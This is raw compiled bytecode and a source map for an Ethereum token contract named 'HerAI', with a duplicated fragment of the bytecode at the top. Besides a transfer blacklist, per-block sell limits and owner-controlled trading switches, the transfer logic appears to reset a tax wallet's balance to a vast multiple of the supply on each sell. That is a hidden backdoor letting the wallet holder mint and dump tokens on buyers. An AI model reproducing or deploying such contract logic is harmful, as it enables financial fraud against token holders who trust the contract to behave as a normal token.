0f8161158a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d05784516001600160a01b0316835293830193918301916001016119ab565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a0e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ace11140e3d89a118d62bf1014185f0ae28a6cfe12ce4a8613b16cbc14c63aae64736f6c63430008130033

0x6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461036b578063bf474bed1461038b578063c9567bf9146103a1578063d34628cc146103b6578063dd62ed3e146103d6578063ec1f3f631461041c57600080fd5b8063715018a6146102ed578063751039fc146103025780637d1db4a5146103175780638da5cb5b1461032d5780638f9a55c01461035557806395d89b411461015057600080fd5b806323b872dd1161010857806323b872dd1461020d578063313ce5671461022d57806331c2d847146102495780633bbac5791461026957806351bc3c85146102a257806370a08231146102b757600080fd5b806306fdde0314610150578063095ea7b31461018d5780630faee56f146101bd578063109daa99146101e157806318160ddd146101f857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820182526005815264486572414960d81b60208201529051610184919061153c565b60405180910390f35b34801561019957600080fd5b506101ad6101a83660046115b2565b61043c565b6040519015158152602001610184565b3480156101c957600080fd5b506101d360115481565b604051908152602001610184565b3480156101ed57600080fd5b506101f6610453565b005b34801561020457600080fd5b506101d36104c3565b34801561021957600080fd5b506101ad6102283660046115de565b6104e5565b34801561023957600080fd5b5060405160098152602001610184565b34801561025557600080fd5b506101f6610264366004611635565b61054e565b34801561027557600080fd5b506101ad6102843660046116fa565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102ae57600080fd5b506101f66105e4565b3480156102c357600080fd5b506101d36102d23660046116fa565b6001600160a01b031660009081526001602052604090205490565b3480156102f957600080fd5b506101f6610633565b34801561030e57600080fd5b506101f66106a7565b34801561032357600080fd5b506101d3600e5481565b34801561033957600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561036157600080fd5b506101d3600f5481565b34801561037757600080fd5b506101ad6103863660046115b2565b61075c565b34801561039757600080fd5b506101d360105481565b3480156103ad57600080fd5b506101f6610769565b3480156103c257600080fd5b506101f66103d1366004611635565b610958565b3480156103e257600080fd5b506101d36103f1366004611717565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042857600080fd5b506101f6610437366004611750565b6109ea565b6000610449338484610a31565b5060015b92915050565b6000546001600160a01b031633146104865760405162461bcd60e51b815260040161047d90611769565b60405180910390fd5b6000600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b60006104d16009600a611898565b6104e0906461f313f8806118a7565b905090565b60006104f2848484610b55565b610544843361053f85604051806060016040528060288152602001611a14602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061119f565b610a31565b5060019392505050565b6000546001600160a01b031633146105785760405162461bcd60e51b815260040161047d90611769565b60005b81518110156105e05760006004600084848151811061059c5761059c6118be565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105d8816118d4565b91505061057b565b5050565b6016546001600160a01b0316336001600160a01b03161461060457600080fd5b30600090815260016020526040902054801561062357610623816111d9565b4780156105e0576105e081611353565b6000546001600160a01b0316331461065d5760405162461bcd60e51b815260040161047d90611769565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106d15760405162461bcd60e51b815260040161047d90611769565b6106dd6009600a611898565b6106ec906461f313f8806118a7565b600e556106fb6009600a611898565b61070a906461f313f8806118a7565b600f556000600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61073f6009600a611898565b61074e906461f313f8806118a7565b6040519081526020016104b9565b6000610449338484610b55565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161047d90611769565b601354600160a01b900460ff16156107ed5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047d565b6012546001600160a01b031663f305d719473061081f816001600160a01b031660009081526001602052604090205490565b6000806108346000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108c191906118ed565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561091a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093e919061191b565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146109825760405162461bcd60e51b815260040161047d90611769565b60005b81518110156105e0576001600460008484815181106109a6576109a66118be565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109e2816118d4565b915050610985565b6016546001600160a01b0316336001600160a01b031614610a0a57600080fd5b6007548111158015610a1e57506008548111155b610a2757600080fd5b6007819055600855565b6001600160a01b038316610a935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047d565b6001600160a01b038216610af45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047d565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047d565b60008111610c7d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047d565b600080546001600160a01b03858116911614801590610caa57506000546001600160a01b03848116911614155b1561105c576001600160a01b03841660009081526004602052604090205460ff16158015610cf157506001600160a01b03831660009081526004602052604090205460ff16155b610cfa57600080fd5b600d54600003610d3357610d306064610d2a600954600d5411610d1f57600554610d23565b6007545b859061138d565b90611416565b90505b600d5415610d5857610d556064610d2a600c548561138d90919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d8357506012546001600160a01b03848116911614155b8015610da857506001600160a01b03831660009081526003602052604090205460ff16155b15610ead57600e54821115610dff5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047d565b600f5482610e22856001600160a01b031660009081526001602052604090205490565b610e2c919061193d565b1115610e7a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047d565b610e956064610d2a600954600d5411610d1f57600554610d23565b600d80549192506000610ea7836118d4565b91905055505b6013546001600160a01b038481169116148015610ed357506001600160a01b0384163014155b15610f5457610efd6064610d2a600a54600d5411610ef357600654610d23565b600854859061138d565b9050610f0b6009600a611898565b610f176009600a611898565b610f26906461f313f8806118a7565b610f3091906118a7565b6016546001600160a01b0316600090815260016020526040902055610f5447611353565b30600090815260016020526040902054601354600160a81b900460ff16158015610f8b57506013546001600160a01b038581169116145b8015610fa05750601354600160b01b900460ff165b8015610fad575060105481115b8015610fbc5750600b54600d54115b1561105a57601554431115610fd15760006014555b6003601454106110235760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b21000000000000000000604482015260640161047d565b61104061103b8461103684601154611458565b611458565b6111d9565b60148054906000611050836118d4565b9091555050436015555b505b80156110d6573060009081526001602052604090205461107c908261146d565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110cd9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110f990836114cc565b6001600160a01b03851660009081526001602052604090205561113e61111f83836114cc565b6001600160a01b0385166000908152600160205260409020549061146d565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61118885856114cc565b60405190815260200160405180910390a350505050565b600081848411156111c35760405162461bcd60e51b815260040161047d919061153c565b5060006111d08486611950565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611221576112216118be565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561127a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129e9190611963565b816001815181106112b1576112b16118be565b6001600160a01b0392831660209182029290920101526012546112d79130911684610a31565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611310908590600090869030904290600401611980565b600060405180830381600087803b15801561132a57600080fd5b505af115801561133e573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105e0573d6000803e3d6000fd5b60008260000361139f5750600061044d565b60006113ab83856118a7565b9050826113b885836119f1565b1461140f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047d565b9392505050565b600061140f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061150e565b6000818311611467578261140f565b50919050565b60008061147a838561193d565b90508381101561140f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047d565b600061140f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119f565b6000818361152f5760405162461bcd60e51b815260040161047d919061153c565b5060006111d084866119f1565b600060208083528351808285015260005b818110156115695785810183015185820160400152820161154d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461159f57600080fd5b50565b80356115ad8161158a565b919050565b600080604083850312156115c557600080fd5b82356115d08161158a565b946020939093013593505050565b6000806000606084860312156115f357600080fd5b83356115fe8161158a565b9250602084013561160e8161158a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561164857600080fd5b823567ffffffffffffffff8082111561166057600080fd5b818501915085601f83011261167457600080fd5b8135818111156116865761168661161f565b8060051b604051601f19603f830116810181811085821117156116ab576116ab61161f565b6040529182528482019250838101850191888311156116c957600080fd5b938501935b828510156116ee576116df856115a2565b845293850193928501926116ce565b98975050505050505050565b60006020828403121561170c57600080fd5b813561140f8161158a565b6000806040838503121561172a57600080fd5b82356117358161158a565b915060208301356117458161158a565b809150509250929050565b60006020828403121561176257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117ef5781600019048211156117d5576117d561179e565b808516156117e257918102915b93841c93908002906117b9565b509250929050565b6000826118065750600161044d565b816118135750600061044d565b816001811461182957600281146118335761184f565b600191505061044d565b60ff8411156118445761184461179e565b50506001821b61044d565b5060208310610133831016604e8410600b8410161715611872575081810a61044d565b61187c83836117b4565b80600019048211156118905761189061179e565b029392505050565b600061140f60ff8416836117f7565b808202811582820484141761044d5761044d61179e565b634e487b7160e01b600052603260045260246000fd5b6000600182016118e6576118e661179e565b5060010190565b60008060006060848603121561190257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192d57600080fd5b8151801515811461140f57600080fd5b8082018082111561044d5761044d61179e565b8181038181111561044d5761044d61179e565b60006020828403121561197557600080fd5b815161140f8161158a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d05784516001600160a01b0316835293830193918301916001016119ab565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a0e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ace11140e3d89a118d62bf1014185f0ae28a6cfe12ce4a8613b16cbc14c63aae64736f6c63430008130033

3667:8788:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5933:83;;;;;;;;;;-1:-1:-1;6003:5:0;;;;;;;;;;;-1:-1:-1;;;6003:5:0;;;;5933:83;;;;6003:5;5933:83;:::i;:::-;;;;;;;;6766:161;;;;;;;;;;-1:-1:-1;6766:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6766:161:0;1162:187:1;4755:54:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4755:54:0;1354:177:1;11133:119:0;;;;;;;;;;;;;:::i;:::-;;6210:95;;;;;;;;;;;;;:::i;6935:313::-;;;;;;;;;;-1:-1:-1;6935:313:0;;;;;:::i;:::-;;:::i;6119:83::-;;;;;;;;;;-1:-1:-1;6119:83:0;;4375:1;2139:36:1;;2127:2;2112:18;6119:83:0;1997:184:1;11532:162:0;;;;;;;;;;-1:-1:-1;11532:162:0;;;;;:::i;:::-;;:::i;11702:83::-;;;;;;;;;;-1:-1:-1;11702:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;11770:7:0;11749:4;11770:7;;;:4;:7;;;;;;;;;11702:83;10777:348;;;;;;;;;;;;;:::i;6313:119::-;;;;;;;;;;-1:-1:-1;6313:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;2748:148;;;;;;;;;;;;;:::i;10583:186::-;;;;;;;;;;;;;:::i;4561:56::-;;;;;;;;;;;;;;;;2534:79;;;;;;;;;;-1:-1:-1;2572:7:0;2599:6;2534:79;;-1:-1:-1;;;;;2599:6:0;;;3842:51:1;;3830:2;3815:18;2534:79:0;3696:203:1;4624:58:0;;;;;;;;;;;;;;;;6440:167;;;;;;;;;;-1:-1:-1;6440:167:0;;;;;:::i;:::-;;:::i;4689:59::-;;;;;;;;;;;;;;;;11793:390;;;;;;;;;;;;;:::i;11360:164::-;;;;;;;;;;-1:-1:-1;11360:164:0;;;;;:::i;:::-;;:::i;6615:143::-;;;;;;;;;;-1:-1:-1;6615:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6723:18:0;;;6696:7;6723:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6615:143;12197:218;;;;;;;;;;-1:-1:-1;12197:218:0;;;;;:::i;:::-;;:::i;6766:161::-;6841:4;6858:39;369:10;6881:7;6890:6;6858:8;:39::i;:::-;-1:-1:-1;6915:4:0;6766:161;;;;;:::o;11133:119::-;2661:6;;-1:-1:-1;;;;;2661:6:0;369:10;2661:22;2653:67;;;;-1:-1:-1;;;2653:67:0;;;;;;;:::i;:::-;;;;;;;;;11206:1:::1;11191:12;:16:::0;;;11223:21:::1;::::0;1500:25:1;;;11223:21:0::1;::::0;1488:2:1;1473:18;11223:21:0::1;;;;;;;;11133:119::o:0;6210:95::-;6263:7;4433:13;4375:1;4433:2;:13;:::i;:::-;4418:28;;:12;:28;:::i;:::-;6283:14;;6210:95;:::o;6935:313::-;7033:4;7050:36;7060:6;7068:9;7079:6;7050:9;:36::i;:::-;7097:121;7106:6;369:10;7128:89;7166:6;7128:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7128:19:0;;;;;;:11;:19;;;;;;;;369:10;7128:33;;;;;;;;;;:37;:89::i;:::-;7097:8;:121::i;:::-;-1:-1:-1;7236:4:0;6935:313;;;;;:::o;11532:162::-;2661:6;;-1:-1:-1;;;;;2661:6:0;369:10;2661:22;2653:67;;;;-1:-1:-1;;;2653:67:0;;;;;;;:::i;:::-;11605:6:::1;11600:87;11621:6;:13;11617:1;:17;11600:87;;;11672:5;11654:4;:15;11659:6;11666:1;11659:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11654:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11654:15:0;:23;;-1:-1:-1;;11654:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11636:3;::::1;::::0;::::1;:::i;:::-;;;;11600:87;;;;11532:162:::0;:::o;10777:348::-;10841:10;;-1:-1:-1;;;;;10841:10:0;369;-1:-1:-1;;;;;10827:24:0;;10819:33;;;;;;10902:4;10863:20;6406:18;;;:9;:18;;;;;;10922:14;;10919:73;;10950:30;10967:12;10950:16;:30::i;:::-;11021:21;11056:12;;11053:65;;11082:24;11095:10;11082:12;:24::i;2748:148::-;2661:6;;-1:-1:-1;;;;;2661:6:0;369:10;2661:22;2653:67;;;;-1:-1:-1;;;2653:67:0;;;;;;;:::i;:::-;2855:1:::1;2839:6:::0;;2818:40:::1;::::0;-1:-1:-1;;;;;2839:6:0;;::::1;::::0;2818:40:::1;::::0;2855:1;;2818:40:::1;2886:1;2869:19:::0;;-1:-1:-1;;;;;;2869:19:0::1;::::0;;2748:148::o;10583:186::-;2661:6;;-1:-1:-1;;;;;2661:6:0;369:10;2661:22;2653:67;;;;-1:-1:-1;;;2653:67:0;;;;;;;:::i;:::-;4433:13:::1;4375:1;4433:2;:13;:::i;:::-;4418:28;::::0;:12:::1;:28;:::i;:::-;10636:12;:22:::0;4433:13:::1;4375:1;4433:2;:13;:::i;:::-;4418:28;::::0;:12:::1;:28;:::i;:::-;10669:14;:22:::0;10717:1:::1;10702:12;:16:::0;10734:27:::1;4433:13;4375:1;4433:2;:13;:::i;:::-;4418:28;::::0;:12:::1;:28;:::i;:::-;10734:27;::::0;1500:25:1;;;1488:2;1473:18;10734:27:0::1;1354:177:1::0;6440:167:0;6518:4;6535:42;369:10;6559:9;6570:6;6535:9;:42::i;11793:390::-;2661:6;;-1:-1:-1;;;;;2661:6:0;369:10;2661:22;2653:67;;;;-1:-1:-1;;;2653:67:0;;;;;;;:::i;:::-;11857:11:::1;::::0;-1:-1:-1;;;11857:11:0;::::1;;;11856:12;11848:47;;;::::0;-1:-1:-1;;;11848:47:0;;7195:2:1;11848:47:0::1;::::0;::::1;7177:21:1::0;7234:2;7214:18;;;7207:30;7273:25;7253:18;;;7246:53;7316:18;;11848:47:0::1;6993:347:1::0;11848:47:0::1;11906:15;::::0;-1:-1:-1;;;;;11906:15:0::1;:31;11945:21;11976:4;11982:24;11976:4:::0;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;11982:24:::1;12007:1;12009::::0;12011:7:::1;2572::::0;2599:6;-1:-1:-1;;;;;2599:6:0;;2534:79;12011:7:::1;11906:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11906:129:0;;;-1:-1:-1;;;;;7704:15:1;;;11906:129:0::1;::::0;::::1;7686:34:1::0;7736:18;;;7729:34;;;;7779:18;;;7772:34;;;;7822:18;;;7815:34;7886:15;;;7865:19;;;7858:44;12019:15:0::1;7918:19:1::0;;;7911:35;7620:19;;11906:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12053:13:0::1;::::0;12084:15:::1;::::0;12046:71:::1;::::0;-1:-1:-1;;;12046:71:0;;-1:-1:-1;;;;;12084:15:0;;::::1;12046:71;::::0;::::1;8442:51:1::0;-1:-1:-1;;8509:18:1;;;8502:34;12053:13:0;::::1;::::0;-1:-1:-1;12046:29:0::1;::::0;8415:18:1;;12046:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12128:11:0::1;:18:::0;;-1:-1:-1;;;;12157:18:0;-1:-1:-1;;;12157:18:0;;;11793:390::o;11360:164::-;2661:6;;-1:-1:-1;;;;;2661:6:0;369:10;2661:22;2653:67;;;;-1:-1:-1;;;2653:67:0;;;;;;;:::i;:::-;11434:6:::1;11429:88;11450:5;:12;11446:1;:16;11429:88;;;11501:4;11484;:14;11489:5;11495:1;11489:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11484:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11484:14:0;:21;;-1:-1:-1;;11484:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11464:3;::::1;::::0;::::1;:::i;:::-;;;;11429:88;;12197:218:::0;12272:10;;-1:-1:-1;;;;;12272:10:0;369;-1:-1:-1;;;;;12258:24:0;;12250:33;;;;;;12309:12;;12300:7;:21;;:47;;;;;12334:13;;12325:7;:22;;12300:47;12292:56;;;;;;12357:12;:20;;;12386:13;:21;12197:218::o;7256:335::-;-1:-1:-1;;;;;7349:19:0;;7341:68;;;;-1:-1:-1;;;7341:68:0;;9031:2:1;7341:68:0;;;9013:21:1;9070:2;9050:18;;;9043:30;9109:34;9089:18;;;9082:62;-1:-1:-1;;;9160:18:1;;;9153:34;9204:19;;7341:68:0;8829:400:1;7341:68:0;-1:-1:-1;;;;;7428:21:0;;7420:68;;;;-1:-1:-1;;;7420:68:0;;9436:2:1;7420:68:0;;;9418:21:1;9475:2;9455:18;;;9448:30;9514:34;9494:18;;;9487:62;-1:-1:-1;;;9565:18:1;;;9558:32;9607:19;;7420:68:0;9234:398:1;7420:68:0;-1:-1:-1;;;;;7499:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7551:32;;1500:25:1;;;7551:32:0;;1473:18:1;7551:32:0;;;;;;;7256:335;;;:::o;7599:2377::-;-1:-1:-1;;;;;7687:18:0;;7679:68;;;;-1:-1:-1;;;7679:68:0;;9839:2:1;7679:68:0;;;9821:21:1;9878:2;9858:18;;;9851:30;9917:34;9897:18;;;9890:62;-1:-1:-1;;;9968:18:1;;;9961:35;10013:19;;7679:68:0;9637:401:1;7679:68:0;-1:-1:-1;;;;;7766:16:0;;7758:64;;;;-1:-1:-1;;;7758:64:0;;10245:2:1;7758:64:0;;;10227:21:1;10284:2;10264:18;;;10257:30;10323:34;10303:18;;;10296:62;-1:-1:-1;;;10374:18:1;;;10367:33;10417:19;;7758:64:0;10043:399:1;7758:64:0;7850:1;7841:6;:10;7833:64;;;;-1:-1:-1;;;7833:64:0;;10649:2:1;7833:64:0;;;10631:21:1;10688:2;10668:18;;;10661:30;10727:34;10707:18;;;10700:62;-1:-1:-1;;;10778:18:1;;;10771:39;10827:19;;7833:64:0;10447:405:1;7833:64:0;7908:17;2599:6;;-1:-1:-1;;;;;7942:15:0;;;2599:6;;7942:15;;;;:32;;-1:-1:-1;2572:7:0;2599:6;-1:-1:-1;;;;;7961:13:0;;;2599:6;;7961:13;;7942:32;7938:1682;;;-1:-1:-1;;;;;8000:10:0;;;;;;:4;:10;;;;;;;;7999:11;:24;;;;-1:-1:-1;;;;;;8015:8:0;;;;;;:4;:8;;;;;;;;8014:9;7999:24;7991:33;;;;;;8044:9;;8055:1;8044:12;8041:139;;8088:76;8160:3;8088:67;8110:15;;8100:9;;:25;8099:55;;8140:14;;8099:55;;;8127:12;;8099:55;8088:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8076:88;;8041:139;8197:9;;:11;8194:95;;8240:33;8269:3;8240:24;8251:12;;8240:6;:10;;:24;;;;:::i;:33::-;8228:45;;8194:95;8317:13;;-1:-1:-1;;;;;8309:21:0;;;8317:13;;8309:21;:55;;;;-1:-1:-1;8348:15:0;;-1:-1:-1;;;;;8334:30:0;;;8348:15;;8334:30;;8309:55;:83;;;;-1:-1:-1;;;;;;8370:22:0;;;;;;:18;:22;;;;;;;;8368:24;8309:83;8305:420;;;8432:12;;8422:6;:22;;8414:60;;;;-1:-1:-1;;;8414:60:0;;11059:2:1;8414:60:0;;;11041:21:1;11098:2;11078:18;;;11071:30;11137:27;11117:18;;;11110:55;11182:18;;8414:60:0;10857:349:1;8414:60:0;8527:14;;8517:6;8501:13;8511:2;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;8501:13;:22;;;;:::i;:::-;:40;;8493:79;;;;-1:-1:-1;;;8493:79:0;;11543:2:1;8493:79:0;;;11525:21:1;11582:2;11562:18;;;11555:30;11621:28;11601:18;;;11594:56;11667:18;;8493:79:0;11341:350:1;8493:79:0;8603:76;8675:3;8603:67;8625:15;;8615:9;;:25;8614:55;;8655:14;;8614:55;;8603:76;8698:9;:11;;8591:88;;-1:-1:-1;8698:9:0;:11;;;:::i;:::-;;;;;;8305:420;8750:13;;-1:-1:-1;;;;;8744:19:0;;;8750:13;;8744:19;:43;;;;-1:-1:-1;;;;;;8767:20:0;;8782:4;8767:20;;8744:43;8741:296;;;8820:79;8895:3;8820:70;8842:16;;8832:9;;:26;8831:58;;8874:15;;8831:58;;;8860:13;;8820:6;;:10;:70::i;:79::-;8808:91;-1:-1:-1;8952:15:0;4375:1;8952:2;:15;:::i;:::-;4433:13;4375:1;4433:2;:13;:::i;:::-;4418:28;;:12;:28;:::i;:::-;8942:25;;;;:::i;:::-;8928:10;;-1:-1:-1;;;;;8928:10:0;8918:21;;;;:9;:21;;;;;:49;8986:35;8999:21;8986:12;:35::i;:::-;9102:4;9053:28;6406:18;;;:9;:18;;;;;;9128:6;;-1:-1:-1;;;9128:6:0;;;;9127:7;:30;;;;-1:-1:-1;9144:13:0;;-1:-1:-1;;;;;9138:19:0;;;9144:13;;9138:19;9127:30;:45;;;;-1:-1:-1;9161:11:0;;-1:-1:-1;;;9161:11:0;;;;9127:45;:89;;;;;9199:17;;9176:20;:40;9127:89;:123;;;;;9232:18;;9220:9;;:30;9127:123;9123:486;;;9290:13;;9275:12;:28;9271:90;;;9340:1;9328:9;:13;9271:90;9399:1;9387:9;;:13;9379:49;;;;-1:-1:-1;;;9379:49:0;;11898:2:1;9379:49:0;;;11880:21:1;11937:2;11917:18;;;11910:30;11976:25;11956:18;;;11949:53;12019:18;;9379:49:0;11696:347:1;9379:49:0;9447:69;9464:51;9468:6;9476:38;9480:20;9502:11;;9476:3;:38::i;:::-;9464:3;:51::i;:::-;9447:16;:69::i;:::-;9535:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9581:12:0;9565:13;:28;9123:486;7976:1644;7938:1682;9635:11;;9632:161;;9703:4;9685:24;;;;:9;:24;;;;;;:39;;9714:9;9685:28;:39::i;:::-;9678:4;9660:24;;;;:9;:24;;;;;;;:64;;;;9742:39;;-1:-1:-1;;;;;9742:39:0;;;;;;;9771:9;1500:25:1;;1488:2;1473:18;;1354:177;9742:39:0;;;;;;;;9632:161;-1:-1:-1;;;;;9819:15:0;;;;;;:9;:15;;;;;;:27;;9839:6;9819:19;:27::i;:::-;-1:-1:-1;;;;;9803:15:0;;;;;;:9;:15;;;;;:43;9871:40;9889:21;:6;9900:9;9889:10;:21::i;:::-;-1:-1:-1;;;;;9871:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9857:13:0;;;;;;;:9;:13;;;;;:54;;;;9927:41;;;9946:21;:6;9957:9;9946:10;:21::i;:::-;9927:41;;1500:25:1;;;1488:2;1473:18;9927:41:0;;;;;;;7668:2308;7599:2377;;;:::o;1426:190::-;1512:7;1548:12;1540:6;;;;1532:29;;;;-1:-1:-1;;;1532:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1572:9:0;1584:5;1588:1;1584;:5;:::i;:::-;1572:17;1426:190;-1:-1:-1;;;;;1426:190:0:o;10092:483::-;5306:6;:13;;-1:-1:-1;;;;5306:13:0;-1:-1:-1;;;5306:13:0;;;10194:16:::1;::::0;;10208:1:::1;10194:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10194:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10194:16:0::1;10170:40;;10239:4;10221;10226:1;10221:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10221:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10265:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10265:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10221:7;;10265:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10255:4;10260:1;10255:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10255:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10330:15:::1;::::0;10298:62:::1;::::0;10315:4:::1;::::0;10330:15:::1;10348:11:::0;10298:8:::1;:62::i;:::-;10371:15;::::0;:196:::1;::::0;-1:-1:-1;;;10371:196:0;;-1:-1:-1;;;;;10371:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10452:11;;10371:15:::1;::::0;10494:4;;10521::::1;::::0;10541:15:::1;::::0;10371:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5342:6:0;:14;;-1:-1:-1;;;;5342:14:0;;;-1:-1:-1;;;;10092:483:0:o;11260:92::-;11317:10;;:27;;-1:-1:-1;;;;;11317:10:0;;;;:27;;;;;11337:6;;11317:10;:27;:10;:27;11337:6;11317:10;:27;;;;;;;;;;;;;;;;;;;1624:246;1682:7;1706:1;1711;1706:6;1702:47;